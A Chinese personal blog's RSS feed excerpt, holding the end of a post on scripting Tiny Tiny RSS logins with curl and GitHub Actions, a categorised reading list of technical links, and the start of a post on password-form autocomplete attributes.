<li>运行时需要用到的变量，是用的secret。我之前以为secret的value只能是字符串。但<a href="https://nekokiku.cn/2020/12/22/2020-12-22-Github-Action%E4%B8%ADpython%E8%8E%B7%E5%8F%96%E4%BB%93%E5%BA%93%E7%9A%84secrets/"  target="_blank" rel="noopener" >Github Action中python获取仓库的secrets</a>中提到，可以把一整个yml文件放在value里面。所以我就想那json文件应该也可以。试了下确实能行。这样我的代码需要修改的地方就很少了。</li>
<li>workflow的触发方式,要添加手动触发，需加上<code>workflow_dispatch:</code></li>
</ul>
</li>
</ol>
<h2 id="学到的知识">学到的知识</h2>
<ul>
<li>pipe和python的结合。下面这段是ChatGPT写的，太妙了。
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="nv">SESSION</span><span class="o">=</span><span class="k">$(</span>curl -s -d <span class="s1">&#39;{&#34;op&#34;:&#34;login&#34;,&#34;user&#34;:&#34;user&#34;,&#34;password&#34;:&#34;password&#34;}&#39;</span> http://example.com/tt-rss/api/ <span class="p">|</span> python -c <span class="s2">&#34;import sys, json; print(json.load(sys.stdin)[&#39;content&#39;][&#39;session_id&#39;])&#34;</span><span class="k">)</span>
</span></span></code></pre></div></li>
<li>Github Action的使用</li>
<li>python request</li>
</ul>
<h2 id="尾巴">尾巴</h2>
<p>这个项目算是个很小的项目，但我还是花了半天的时间，而且是在ChatGPT的帮助下。之前看到这样一种说法，搜索引擎大幅降低了普通人获取知识的难度，而ChatGPT在此基础上更是降低了十分客观的一个量。结合自己这次的经历，我十分认同这个观点。通过我对背景的补充和提问，ChatGPT让我省去了花费在各种教程和不完善的文档上所要消费的时间。这比搜索引擎所做到的交互要更自然。</p>
<h2 id="参考">参考</h2>
<ul>
<li><a href="https://tt-rss.org/wiki/ApiReference"  target="_blank" rel="noopener" >API Reference</a></li>
<li><a href="https://www.cnblogs.com/jiangleads/p/10636696.html"  target="_blank" rel="noopener" >curl命令实现上网认证登录</a></li>
<li><a href="https://nekokiku.cn/2020/12/22/2020-12-22-Github-Action%E4%B8%ADpython%E8%8E%B7%E5%8F%96%E4%BB%93%E5%BA%93%E7%9A%84secrets/"  target="_blank" rel="noopener" >Github Action中python获取仓库的secrets</a></li>
<li><a href="https://codebeautify.org/yaml-validator"  target="_blank" rel="noopener" >YAML Validator</a></li>
</ul>
]]></content:encoded>
    </item>
    
    <item>
      <title>感兴趣的知识/待细看</title>
      <link>https://ds63.eu.org/2023/things-i-am-interested-in/</link>
      <pubDate>Sun, 16 Apr 2023 16:03:44 +0000</pubDate>
      
      <guid>https://ds63.eu.org/2023/things-i-am-interested-in/</guid>
      <description>记录我感兴趣的知识或者说需要细看的内容</description>
      <content:encoded><![CDATA[<p><em>有些知识，我觉得有趣，平时也还算经常看到，但只是一知半解，所以下定决心要将其掌握。我觉得要掌握一个知识，有一个比较好的办法就是写个教程，让不知道的人看了教程后也能对这个知识有相当的了解。所谓教学相长也。又因为知之甚少而难以开一篇专门去叙述，所以权记录于此，作为备忘</em></p>
<p><em>网上冲浪的时候，或主动或被动，常会看到些我感兴趣的内容。有的时候是内容比较深，有的时候是内容让我有些感想。常常，我会选择不关闭它们，想着有时间一定要好好看，并记录下自己的感想。然后&hellip;通常就没有然后了。这并不是件好事。所以我就想着记录在这里，也算是对自己的一种监督，或者说Learn In Public。</em></p>
<h2 id="区块链">区块链</h2>
<ul>
<li><input disabled="" type="checkbox"> <a href="https://mp.weixin.qq.com/s/wEzbgXh1BDxYjz-xkHs0Gg"  target="_blank" rel="noopener" >匿名是一种设计</a></li>
<li><input disabled="" type="checkbox"> <a href="https://bitcoin.org/bitcoin.pdf"  target="_blank" rel="noopener" >Bitcoin: A Peer-to-Peer Electronic Cash System</a></li>
<li><input disabled="" type="checkbox"> <a href="https://github.com/Ice-Storm/structure-and-interpretation-of-blockchain/blob/master/0_0.md"  target="_blank" rel="noopener" >structure-and-interpretation-of-blockchain/0_0.md at master · Ice-Storm/structure-and-interpretation-of-blockchain</a></li>
<li><input checked="" disabled="" type="checkbox"> <a href="https://taresky.com/crypto-arbitrage"  target="_blank" rel="noopener" >无风险年化 360%？小白也能懂的 Crypto 套利 - TARESKY</a></li>
<li><input disabled="" type="checkbox"> <a href="https://blog.laisky.com/p/web3-101/?lang=zh"  target="_blank" rel="noopener" >面向 Web2 工程师的区块链入门</a></li>
<li><input disabled="" type="checkbox"> <a href="https://liaoxuefeng.com/books/blockchain/bitcoin/hd-wallet/mnemonic/index.html"  target="_blank" rel="noopener" >助记词 - 区块链教程 - 廖雪峰的官方网站</a></li>
</ul>
<hr>
<h2 id="加密">加密</h2>
<ul>
<li><input disabled="" type="checkbox"> <a href="https://program-think.blogspot.com/2010/02/introduce-digital-certificate-and-ca.html#verify_file"  target="_blank" rel="noopener" >数字证书及 CA 的扫盲介绍</a></li>
<li><input disabled="" type="checkbox"> <a href="https://jysperm.me/2017/09/gpg-and-e2ee/"  target="_blank" rel="noopener" >GPG 与端到端加密：论什么才是可以信任的</a></li>
<li><input disabled="" type="checkbox"> <a href="https://cryptopals.com/"  target="_blank" rel="noopener" >The Cryptopals Crypto Challenges</a></li>
<li><input checked="" disabled="" type="checkbox"> <a href="https://developer.aliyun.com/article/1043064"  target="_blank" rel="noopener" >加盐密码哈希：如何正确使用-阿里云开发者社区</a></li>
</ul>
<hr>
<h2 id="gpt">GPT</h2>
<ul>
<li><input disabled="" type="checkbox"> <a href="https://viper.cs.columbia.edu/"  target="_blank" rel="noopener" >ViperGPT: Visual Inference via Python Execution for Reasoning</a></li>
<li><input disabled="" type="checkbox"> <a href="https://arxiv.org/abs/2304.03442"  target="_blank" rel="noopener" >Generative Agents: Interactive Simulacra of Human Behavior</a></li>
<li><input disabled="" type="checkbox"> <a href="https://ig.ft.com/generative-ai/"  target="_blank" rel="noopener" >Generative AI exists because of the transformer</a></li>
<li><input disabled="" type="checkbox"> <a href="https://blog.laisky.com/p/what-is-gpt/?lang=zh"  target="_blank" rel="noopener" >What is GPT and Why Does It Work?</a></li>
<li><input disabled="" type="checkbox"> <a href="https://bigeagle.me/2023/03/llm-is-compression/"  target="_blank" rel="noopener" >为什么说 GPT 是无损压缩 | K.I.S.S</a></li>
<li><input disabled="" type="checkbox"> <a href="https://bigeagle.me/2023/03/pico-gpt-1/"  target="_blank" rel="noopener" >握着你的手训一个类GPT语言模型 (一) | K.I.S.S</a></li>
</ul>
<hr>
<h2 id="neural-network">Neural Network</h2>
<ul>
<li><input disabled="" type="checkbox"> <a href="https://zhuanlan.zhihu.com/p/104475016"  target="_blank" rel="noopener" >[干货]深入浅出LSTM及其Python代码实现</a></li>
<li><input disabled="" type="checkbox"> <a href="https://www.cnblogs.com/subconscious/p/5058741.html"  target="_blank" rel="noopener" >神经网络浅讲：从神经元到深度学习</a></li>
<li><input disabled="" type="checkbox"> <a href="https://program-think.blogspot.com/2020/11/Game-Theory.html"  target="_blank" rel="noopener" >博弈论入门教程——从基本概念到具体案例 @ 编程随想的博客</a></li>
<li><input disabled="" type="checkbox"> <a href="https://course.fast.ai/"  target="_blank" rel="noopener" >Practical Deep Learning for Coders - Practical Deep Learning</a></li>
<li><input disabled="" type="checkbox"> <a href="https://blog.orangex4.workers.dev/post/simple-pinyin/"  target="_blank" rel="noopener" >基于 HMM 隐马尔可夫模型的智能拼音输入法 (带 Web 前端) | OrangeX4&rsquo;s Blog</a></li>
</ul>
<hr>
<h2 id="博客">博客</h2>
<ul>
<li><input checked="" disabled="" type="checkbox"> <a href="https://luolei.org/gfw/"  target="_blank" rel="noopener" >GFW之父方滨兴讲座后杂想</a></li>
<li><input checked="" disabled="" type="checkbox"> <a href="https://lutaonan.com/blog/reason-why-your-blog-is-not-alive/"  target="_blank" rel="noopener" >为什么无法坚持写博客</a></li>
<li><input checked="" disabled="" type="checkbox"> <a href="https://plumz.me/archives/12906/"  target="_blank" rel="noopener" >你所热爱的，就是你的生活</a></li>
<li><input disabled="" type="checkbox"> <a href="https://www.zxch3n.com/local-first/"  target="_blank" rel="noopener" >译：本地优先软件 Local-first software</a></li>
<li><input disabled="" type="checkbox"> <a href="https://densecollections.top/posts/4074/"  target="_blank" rel="noopener" >MIT计算机科学课堂中学不到的知识</a></li>
<li><input disabled="" type="checkbox"> <a href="https://github.com/XXIIVV/webring"  target="_blank" rel="noopener" >XXIIVV/webring</a></li>
</ul>
<hr>
<h2 id="开源">开源</h2>
<ul>
<li><input disabled="" type="checkbox"> <a href="https://github.com/zloirock/core-js/blob/master/docs/2023-02-14-so-whats-next.md"  target="_blank" rel="noopener" >So, what&rsquo;s next?</a></li>
<li><input disabled="" type="checkbox"> <a href="https://juejin.cn/post/7272735633458413602"  target="_blank" rel="noopener" >开源富文本编辑器 wangEditor 暂停维护 （但仍可继续使用） - 掘金</a></li>
<li><input checked="" disabled="" type="checkbox"> <a href="https://www.eaimty.com/2023/opensource-project-based-on-hormone/"  target="_blank" rel="noopener" >基于荷尔蒙开发的开源项目 - EAimTY&rsquo;s Blog</a></li>
<li><input disabled="" type="checkbox"> <a href="https://tw93.fun/2023-09-18/open.html"  target="_blank" rel="noopener" >该以一种怎么样的心态来对待开源 - Tw93</a></li>
<li><input disabled="" type="checkbox"> <a href="https://pragdave.me/thoughts/active/2023-09-21-in-praise-of-maintainers.html"  target="_blank" rel="noopener" >pragdave - In Praise of Maintainers</a></li>
<li><input checked="" disabled="" type="checkbox"> <a href="https://yunyoujun.cn/posts/the-birth-of-yunlefun"  target="_blank" rel="noopener" >云乐坊工作室的成立与缘起与有关的话 - 云游君的小站</a></li>
<li><input disabled="" type="checkbox"> <a href="https://www.tisonkun.org/2021/12/05/effective-open-source-participant/"  target="_blank" rel="noopener" >高效参与开源的诀窍 | 夜天之书</a></li>
</ul>
<hr>
<h2 id="网络">网络</h2>
<ul>
<li><input disabled="" type="checkbox"> <a href="https://plantegg.github.io/2019/05/15/%E5%B0%B1%E6%98%AF%E8%A6%81%E4%BD%A0%E6%87%82%E7%BD%91%E7%BB%9C--%E4%B8%80%E4%B8%AA%E7%BD%91%E7%BB%9C%E5%8C%85%E7%9A%84%E6%97%85%E7%A8%8B/"  target="_blank" rel="noopener" >就是要你懂网络&ndash;一个网络包的旅程</a></li>
<li><input disabled="" type="checkbox"> <a href="https://gfw.report/publications/usenixsecurity23/zh/"  target="_blank" rel="noopener" >中国的防火长城是如何检测和封锁完全加密流量的</a></li>
<li><input checked="" disabled="" type="checkbox"> <a href="https://www.iserica.com/posts/network101-socket-function-wrappers/"  target="_blank" rel="noopener" >「网络编程101」来封装一个简单的TCP服务吧！</a></li>
<li><input disabled="" type="checkbox"> <a href="https://blog.yoitsu.moe/security/web_server_configuration_0.html"  target="_blank" rel="noopener" >如何比较安全的配置 Web 服务器 - TLS 和 HTTPS - 约伊兹的萌狼乡手札</a></li>
<li><input disabled="" type="checkbox"> <a href="https://blog.laisky.com/p/https-in-action/"  target="_blank" rel="noopener" >HTTPS 隐私安全的一些实践</a></li>
<li><input disabled="" type="checkbox"> <a href="https://www.kawabangga.com/posts/5301"  target="_blank" rel="noopener" >四层负载均衡漫谈 | 卡瓦邦噶！</a></li>
<li><input disabled="" type="checkbox"> <a href="https://plantegg.github.io/2019/06/02/%E5%8F%B2%E4%B8%8A%E6%9C%80%E5%85%A8_SSH_%E6%9A%97%E9%BB%91%E6%8A%80%E5%B7%A7%E8%AF%A6%E8%A7%A3--%E6%94%B6%E8%97%8F%E4%BF%9D%E5%B9%B3%E5%AE%89/"  target="_blank" rel="noopener" >史上最全 SSH 暗黑技巧详解 | plantegg</a></li>
<li><input disabled="" type="checkbox"> <a href="https://www.edu.cn/xxh/zt/tj/202310/t20231019_2521709.shtml"  target="_blank" rel="noopener" >网络层和传输层技术演变 ——25年后的互联网（二）-中国教育和科研计算机网CERNET</a></li>
<li><input disabled="" type="checkbox"> <a href="https://blog.laisky.com/p/tailscale-nat/?lang=zh"  target="_blank" rel="noopener" >TailScale NAT 技术简介和个人组网方案</a></li>
<li><input disabled="" type="checkbox"> <a href="https://wiyi.org/socks5-protocol-in-deep.html"  target="_blank" rel="noopener" >理解socks5协议的工作过程和协议细节 | Bigbyto</a></li>
<li><input disabled="" type="checkbox"> <a href="https://socket.io/docs/v4/tutorial/introduction"  target="_blank" rel="noopener" >Tutorial - Introduction | Socket.IO</a></li>
<li><input disabled="" type="checkbox"> <a href="https://blog.alswl.com/2017/09/https-on-stack-overflow/"  target="_blank" rel="noopener" >Stack Overflow 的 HTTPS 化：漫漫长路的终点 | Log4D</a></li>
</ul>
<hr>
<h2 id="前端">前端</h2>
<ul>
<li><input disabled="" type="checkbox"> <a href="https://xlog.daidr.me/card-page"  target="_blank" rel="noopener" >写一个炫酷的个人名片页</a></li>
<li><input disabled="" type="checkbox"> <a href="https://www.joshwcomeau.com/css/interactive-guide-to-flexbox/"  target="_blank" rel="noopener" >An Interactive Guide to Flexbox</a></li>
<li><input disabled="" type="checkbox"> <a href="https://developer.mozilla.org/zh-CN/docs/Learn/CSS/Building_blocks"  target="_blank" rel="noopener" >CSS 构建</a></li>
<li><input disabled="" type="checkbox"> <a href="https://developer.mozilla.org/en-US/docs/Web/API/WebGL_API"  target="_blank" rel="noopener" >WebGL: 2D and 3D graphics for the web - Web APIs | MDN</a></li>
<li><input disabled="" type="checkbox"> <a href="https://yzyyz.top/archives/js_snake.html"  target="_blank" rel="noopener" >JS初探，给博客首页添加一个贪吃蛇热力图</a></li>
<li><input disabled="" type="checkbox"> <a href="https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model/Introduction"  target="_blank" rel="noopener" >Introduction to the DOM - Web APIs | MDN</a></li>
<li><input disabled="" type="checkbox"> <a href="https://www.ruanyifeng.com/blog/2015/07/flex-grammar.html"  target="_blank" rel="noopener" >Flex 布局教程：语法篇 - 阮一峰的网络日志</a></li>
<li><input disabled="" type="checkbox"> <a href="https://pptr.dev/"  target="_blank" rel="noopener" >Puppeteer | Puppeteer</a></li>
<li><input disabled="" type="checkbox"> <a href="https://github.com/JLHwung/hexo-offline"  target="_blank" rel="noopener" >JLHwung/hexo-offline: Out-of-the-box hexo offline experience</a></li>
<li><input disabled="" type="checkbox"> <a href="https://github.com/reactwg/server-components/discussions/5"  target="_blank" rel="noopener" >RSC From Scratch. Part 1: Server Components · reactwg/server-components · Discussion #5</a></li>
<li><input disabled="" type="checkbox"> <a href="https://vercel.com/blog/understanding-react-server-components"  target="_blank" rel="noopener" >Understanding React Server Components - Vercel</a></li>
<li><input disabled="" type="checkbox"> <a href="https://github.com/microsoft/react-native-windows"  target="_blank" rel="noopener" >microsoft/react-native-windows: A framework for building native Windows apps with React.</a></li>
<li><input disabled="" type="checkbox"> <a href="https://www.nowcoder.com/feed/main/detail/a79cb52ce00c4f6d874683e65b8eb718?sourceSSR=users"  target="_blank" rel="noopener" >70场面试，复盘我遇到的有趣问题（一）_牛客网</a></li>
</ul>
<hr>
<h2 id="linux">Linux</h2>
<ul>
<li><input disabled="" type="checkbox"> <a href="https://mutur4.github.io/posts/linux-malware-development/edr/"  target="_blank" rel="noopener" >Linux Malware: Defense Evasion Techniques ·</a></li>
<li><input disabled="" type="checkbox"> <a href="https://bootlin.com/blog/multi-queue-improvements-in-linux-kernel-ethernet-mvneta/"  target="_blank" rel="noopener" >Multi-queue improvements in Linux kernel Ethernet driver mvneta - Bootlin&rsquo;s blog</a></li>
<li><input disabled="" type="checkbox"> <a href="https://man7.org/tlpi/"  target="_blank" rel="noopener" >The Linux Programming Interface</a></li>
<li><input checked="" disabled="" type="checkbox"> <a href="https://fdgkhdkgh.medium.com/linux-lkmpg-%E7%B2%97%E6%B7%BA%E7%AD%86%E8%A8%98-2-system-call-284b347194eb"  target="_blank" rel="noopener" >Linux : lkmpg 粗淺筆記 (2) — system call | by 吳建興 | Medium</a></li>
<li><input checked="" disabled="" type="checkbox"> <a href="https://www.wiz.io/blog/linux-rootkits-explained-part-2-loadable-kernel-modules"  target="_blank" rel="noopener" >Linux rootkits explained – Part 2: Loadable kernel modules | Wiz Blog</a></li>
<li><input checked="" disabled="" type="checkbox"> <a href="https://blog.sourcerer.io/writing-a-simple-linux-kernel-module-d9dc3762c234"  target="_blank" rel="noopener" >Writing a Simple Linux Kernel Module | by Robert W. Oliver II | Sourcerer Blog</a></li>
<li><input checked="" disabled="" type="checkbox"> <a href="https://xcellerator.github.io/posts/linux_rootkits_02/"  target="_blank" rel="noopener" >Linux Rootkits Part 2: Ftrace and Function Hooking :: TheXcellerator</a></li>
<li><input disabled="" type="checkbox"> <a href="https://coolshell.cn/articles/22320.html"  target="_blank" rel="noopener" >eBPF 介绍 | 酷 壳 - CoolShell</a></li>
<li><input disabled="" type="checkbox"> <a href="https://tzssangglass.github.io/posts/exploring-the-ebpf-source-code-tour/"  target="_blank" rel="noopener" >探索 eBPF 源码之旅 | tzssangglass blog</a></li>
<li><input checked="" disabled="" type="checkbox"> <a href="https://blog.dreamfever.me/posts/2023-10-24-how-to-debug-01-syscall/"  target="_blank" rel="noopener" >新人也能懂的调试方法 01 - 通过 syscall 进行定位 · Hanaasagi - (ゝω·)~ kira</a></li>
<li><input disabled="" type="checkbox"> <a href="https://os.phil-opp.com/"  target="_blank" rel="noopener" >Writing an OS in Rust</a></li>
<li><input disabled="" type="checkbox"> <a href="https://mazzo.li/posts/fast-pipes.html"  target="_blank" rel="noopener" >How fast are Linux pipes anyway?</a></li>
</ul>
<hr>
<h2 id="手工">手工</h2>
<ul>
<li><input checked="" disabled="" type="checkbox"> <a href="https://freemind.pluskid.org/electronics/5x12-keyboard-debugging2/"  target="_blank" rel="noopener" >记一次有意义的熬夜</a> 机械键盘</li>
<li><input disabled="" type="checkbox"> <a href="https://andelf.github.io/blog/2021/01/14/play-with-2-13-inch-e-ink-display/"  target="_blank" rel="noopener" >Play with 2.13 inch E-Ink display | 猫·仁波切</a> 墨水屏</li>
<li><input disabled="" type="checkbox"> <a href="https://andelf.github.io/blog/2023/12/17/10-2-inch-3-color-esl/"  target="_blank" rel="noopener" >10.2 寸黑白红三色墨水屏价签拆解及驱动过程简记 - 10.2 inch 3-Color BWR ESL | 猫·仁波切</a> 墨水屏*2</li>
</ul>
<hr>
<h2 id="编程语言">编程语言</h2>
<ul>
<li><input checked="" disabled="" type="checkbox"> <a href="https://blog.icrystal.top/archives/1.html"  target="_blank" rel="noopener" >个人C++编程规范总结 - iC Blog</a></li>
<li><input disabled="" type="checkbox"> <a href="https://gobyexample.com/"  target="_blank" rel="noopener" >Go by Example</a></li>
<li><input disabled="" type="checkbox"> <a href="https://github.com/chinesehuazhou/python-whydo"  target="_blank" rel="noopener" >chinesehuazhou/python-whydo: Explore Python&rsquo;s charms by asking WHY questions</a></li>
<li><input checked="" disabled="" type="checkbox"> <a href="https://mp.weixin.qq.com/s/co_OAaVQ49rPfgoAh6Pejw"  target="_blank" rel="noopener" >Python 中 -m 的典型用法、原理解析与发展演变</a></li>
<li><input disabled="" type="checkbox"> <a href="https://doc.rust-lang.org/cargo/reference/config.html"  target="_blank" rel="noopener" >Configuration - The Cargo Book</a></li>
<li><input disabled="" type="checkbox"> <a href="https://mp.weixin.qq.com/s?__biz=MzUyOTk2MTcwNg==&amp;mid=2247484801&amp;idx=1&amp;sn=c0f55df74fa3a2d438309e959100325e"  target="_blank" rel="noopener" >深入探讨 Python 的 import 机制：实现远程导入模块</a></li>
<li><input disabled="" type="checkbox"> <a href="https://github.com/MrBeanCpp/MIT"  target="_blank" rel="noopener" >MrBeanCpp/MIT: Mini-Git in Rust. 用Rust实现的简易Git</a></li>
<li><input disabled="" type="checkbox"> <a href="https://llh911001.gitbooks.io/mostly-adequate-guide-chinese/content/"  target="_blank" rel="noopener" >Introduction · 函数式编程指北</a></li>
</ul>
<hr>
<h2 id="数学">数学</h2>
<ul>
<li><input disabled="" type="checkbox"> <a href="https://zhuanlan.zhihu.com/p/145975481"  target="_blank" rel="noopener" >会做数学证明的“忙碌海狸”，以及比TREE(3)还大的“不可计算数” - 知乎</a></li>
<li><input disabled="" type="checkbox"> <a href="https://zh.wikipedia.org/wiki/%E5%BF%99%E7%A2%8C%E7%9A%84%E6%B5%B7%E7%8B%B8"  target="_blank" rel="noopener" >忙碌的海狸 - 维基百科，自由的百科全书</a></li>
<li><input disabled="" type="checkbox"> <a href="https://dalaoliblog.wordpress.com/2020/12/17/%E5%BF%99%E7%A2%8C%E6%B5%B7%E7%8B%B8%E5%87%BD%E6%95%B0-bb1%E5%88%B0bb5%E7%9A%84%E5%80%BC%E6%98%AF%E6%80%8E%E4%B9%88%E8%AE%A1%E7%AE%97%E7%9A%84/"  target="_blank" rel="noopener" >“忙碌海狸函数”-BB(1)到BB(5)的值是怎么计算的 – 大老李聊数学</a></li>
</ul>
<hr>
<h2 id="代理">代理</h2>
<ul>
<li><input disabled="" type="checkbox"> <a href="https://www.cnblogs.com/newcats/p/16124158.html"  target="_blank" rel="noopener" >使用Frp内网穿透实现远程桌面(家里电脑远程控制公司电脑) - Newcats - 博客园</a></li>
<li><input disabled="" type="checkbox"> <a href="https://tailscale.com/"  target="_blank" rel="noopener" >Tailscale · Best VPN Service for Secure Networks</a></li>
<li><input disabled="" type="checkbox"> <a href="https://tailscale.com/"  target="_blank" rel="noopener" >Tailscale · Best VPN Service for Secure Networks</a></li>
<li><input disabled="" type="checkbox"> <a href="https://akynazh.site/posts/2024/02/a-simple-tutorial-on-building-private-proxy-services/"  target="_blank" rel="noopener" >搭建私人代理服务简易教程 | Norwegian Wood</a></li>
<li><input disabled="" type="checkbox"> <a href="https://gofrp.org/zh-cn/"  target="_blank" rel="noopener" >frp</a></li>
<li><input disabled="" type="checkbox"> <a href="https://victrid.dev/2021/pei-zhi-tou-ming-dai-li-shi-xian-wu-gan-shang-wang/"  target="_blank" rel="noopener" >配置透明代理，实现无感上网 | Victrid&rsquo;s Personal Site</a></li>
</ul>
<h2 id="杂">杂</h2>
<ul>
<li><input disabled="" type="checkbox"> <a href="https://www.physics.umd.edu/courses/Phys606/spring_2011/einstein_electrodynamics_of_moving_bodies.pdf"  target="_blank" rel="noopener" >ON THE ELECTRODYNAMICS OF MOVINGBODIES</a></li>
<li><input disabled="" type="checkbox"> <a href="https://en.wikipedia.org/wiki/Theory_of_mind"  target="_blank" rel="noopener" >Theory of mind</a></li>
<li><input disabled="" type="checkbox"> <a href="https://sites.cs.ucsb.edu/~lingqi/teaching/games101.html"  target="_blank" rel="noopener" >GAMES101: 现代计算机图形学入门</a></li>
<li><input disabled="" type="checkbox"> <a href="https://missing-semester-cn.github.io/"  target="_blank" rel="noopener" >The Missing Semester of Your CS Education</a></li>
<li><input disabled="" type="checkbox"> <a href="https://www.amazon.com/When-Brains-Dream-Exploring-Science/dp/1324002832"  target="_blank" rel="noopener" >When Brains Dream: Exploring the science and mystery of sleep</a></li>
<li><input disabled="" type="checkbox"> <a href="https://www.kivinsae.com/2023/05/17/2023-05-17-no_sophism/"  target="_blank" rel="noopener" >关于 初码先生 某推中典型诡辩论部分的拆解</a>
学习下辩论技巧</li>
<li><input disabled="" type="checkbox"> <a href="https://seuite.github.io/blog/2019-04/%E7%BC%96%E7%A8%8B%E8%AD%A6%E5%8F%A5-1301-30/"  target="_blank" rel="noopener" >编程警句 130（1-30）</a> 有趣的句子</li>
<li><input checked="" disabled="" type="checkbox"> <a href="https://jvns.ca/blog/2023/09/14/in-a-git-repository--where-do-your-files-live-/"  target="_blank" rel="noopener" >In a git repository, where do your files live?</a> 易懂而有趣</li>
<li><input disabled="" type="checkbox"> <a href="https://guyinatuxedo.github.io/index.html"  target="_blank" rel="noopener" >Nightmare - Nightmare</a></li>
<li><input disabled="" type="checkbox"> <a href="https://program-think.blogspot.com/2020/11/Game-Theory.html"  target="_blank" rel="noopener" >博弈论入门教程——从基本概念到具体案例 @ 编程随想的博客</a></li>
<li><input disabled="" type="checkbox"> <a href="https://dl.acm.org/doi/pdf/10.1145/99370.99404"  target="_blank" rel="noopener" >Theorems for free! </a></li>
<li><input disabled="" type="checkbox"> <a href="https://robertheaton.com/2018/12/08/programming-projects-for-advanced-beginners/"  target="_blank" rel="noopener" >Programming Projects for Advanced Beginners | Robert Heaton</a></li>
<li><input disabled="" type="checkbox"> <a href="https://webgl2fundamentals.org/webgl/lessons/zh_cn/"  target="_blank" rel="noopener" >WebGL2 理论基础</a></li>
<li><input disabled="" type="checkbox"> <a href="https://redisbook.readthedocs.io/en/latest/"  target="_blank" rel="noopener" >Redis 设计与实现（第一版） — Redis 设计与实现</a></li>
<li><input checked="" disabled="" type="checkbox"> <a href="https://yufan.me/basic-terms-in-book-binding/"  target="_blank" rel="noopener" >不可不知的图书装帧术语 - 且听书吟</a></li>
<li><input checked="" disabled="" type="checkbox"> <a href="https://github.com/freedom-introvert/Research-on-Avalon-System-in-Bilibili-Comment-Area/blob/main/docs/%E6%B7%B1%E6%8C%96b%E7%AB%99%E5%A6%82%E4%BD%95%E6%8E%A7%E8%AF%84-%E5%AF%B9%E9%98%BF%E7%93%A6%E9%9A%86%E7%B3%BB%E7%BB%9F%E6%8E%A2%E7%A9%B6.md"  target="_blank" rel="noopener" >深挖b站如何控评-对阿瓦隆系统探究</a></li>
<li><input disabled="" type="checkbox"> <a href="https://blog.fleeto.us/post/auto-build-with-github-action/"  target="_blank" rel="noopener" >用 Github Action 自动发布二进制包 | 伪架构师</a></li>
<li><input disabled="" type="checkbox"> <a href="https://skyzh.github.io/write-you-a-vector-db/00-introduction.html?search="  target="_blank" rel="noopener" >Introduction - Write You a Vector Database</a></li>
<li><input checked="" disabled="" type="checkbox"> <a href="https://hellogithub2014.github.io/2019/08/05/qr-code-theory/"  target="_blank" rel="noopener" >二维码原理 | 十年一刻</a></li>
<li><input checked="" disabled="" type="checkbox"> <a href="https://tonsky.me/blog/unicode/"  target="_blank" rel="noopener" >The Absolute Minimum Every Software Developer Must Know About Unicode in 2023 (Still No Excuses!) @ tonsky.me</a></li>
<li><input disabled="" type="checkbox"> <a href="https://www.biorxiv.org/content/10.1101/2022.11.18.517004v2.full.pdf"  target="_blank" rel="noopener" >High-resolution image reconstruction with latent diffusion models from humanbrain activity</a></li>
<li><input disabled="" type="checkbox"> <a href="https://github.com/fzxa/VSCode-sourcecode-analysis"  target="_blank" rel="noopener" >fzxa/VSCode-sourcecode-analysis: 微软VSCode IDE源码分析：VSCode是一个运行于 Mac OS X、Windows和 Linux 之上的，针对于编写现代 Web 和云应用的跨平台源代码编辑器。 采用Electron (JavaScript, HTML 和 CSS 等 Web 技术) 创建原生程序的框架。</a></li>
<li><input disabled="" type="checkbox"> <a href="https://huangxin.dev/partly-technical/run-cmd-as-admin-with-one-command-under-windows"  target="_blank" rel="noopener" >Windows 下一键以管理员命令运行命令提示符 - 惶心博客</a></li>
<li><input disabled="" type="checkbox"> <a href="https://www.rabbitmq.com/"  target="_blank" rel="noopener" >RabbitMQ: One broker to queue them all | RabbitMQ</a></li>
<li><input disabled="" type="checkbox"> <a href="https://kafka.apache.org/"  target="_blank" rel="noopener" >Apache Kafka</a></li>
<li><input disabled="" type="checkbox"> <a href="https://zh.wikipedia.org/wiki/ISO_3166-1%E4%BA%8C%E4%BD%8D%E5%AD%97%E6%AF%8D%E4%BB%A3%E7%A0%81"  target="_blank" rel="noopener" >ISO 3166-1二位字母代码 - 维基百科，自由的百科全书</a></li>
<li><input disabled="" type="checkbox"> <a href="https://www2.jpfbj.cn/irodori/index.php"  target="_blank" rel="noopener" >TOP | IRODOR：生活中的日语</a></li>
</ul>
]]></content:encoded>
    </item>
    
    <item>
      <title>表单学习</title>
      <link>https://ds63.eu.org/2023/learn_form/</link>
      <pubDate>Thu, 30 Mar 2023 23:52:16 +0800</pubDate>
      
      <guid>https://ds63.eu.org/2023/learn_form/</guid>
      <description>发现原来表单要做得符合直觉也是有些学问在里面的，遂记录如下。</description>
      <content:encoded><![CDATA[<p><strong>偶然间看到了篇不错的文档，<a href="https://www.chromium.org/developers/design-documents/create-amazing-password-forms/"  target="_blank" rel="noopener" >Create Amazing Password Forms</a>,才发现原来表单要做得符合直觉也是有些学问在里面的，遂记录如下。</strong></p>
<h2 id="group-related-fields-in-a-single-form">Group related fields in a single form</h2>
<p>我之前习惯把注册和登录分开来做，使用的不少网站也是这样。</p>
<p>但这会产生这样一种情况:即使开启了浏览器的密码自动保存，往往注册完后的第一次登录，还得再输一遍代码。</p>
<p>我还不知道具体要怎么设计才能使其更合理。</p>
<h2 id="use-autocomplete-attributes">Use autocomplete attributes</h2>
<p><code>autocomplete</code>这个属性我还是第一次见，查阅文档后，发现是HTML5新增的属性。具体参见<a href="https://www.chromium.org/developers/design-documents/form-styles-that-chromium-understands/"  target="_blank" rel="noopener" >Password Form Styles that Chromium Understands</a>。以下是一些示例：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-html" data-lang="html"><span class="line"><span class="cl">   <span class="p">&lt;</span><span class="nt">input</span> <span class="na">name</span><span class="o">=</span><span class="s">bc</span> <span class="na">autocomplete</span><span class="o">=</span><span class="s">&#34;section-home homeAddress&#34;</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">   <span class="p">&lt;</span><span class="nt">input</span> <span class="na">type</span><span class="o">=</span><span class="s">&#34;text&#34;</span> <span class="na">autocomplete</span><span class="o">=</span><span class="s">&#34;username&#34;</span><span class="p">&gt;</span> 
</span></span><span class="line"><span class="cl">   <span class="p">&lt;</span><span class="nt">input</span> <span class="na">type</span><span class="o">=</span><span class="s">&#34;password&#34;</span> <span class="na">autocomplete</span><span class="o">=</span><span class="s">&#34;current-password&#34;</span><span class="p">&gt;</span> 
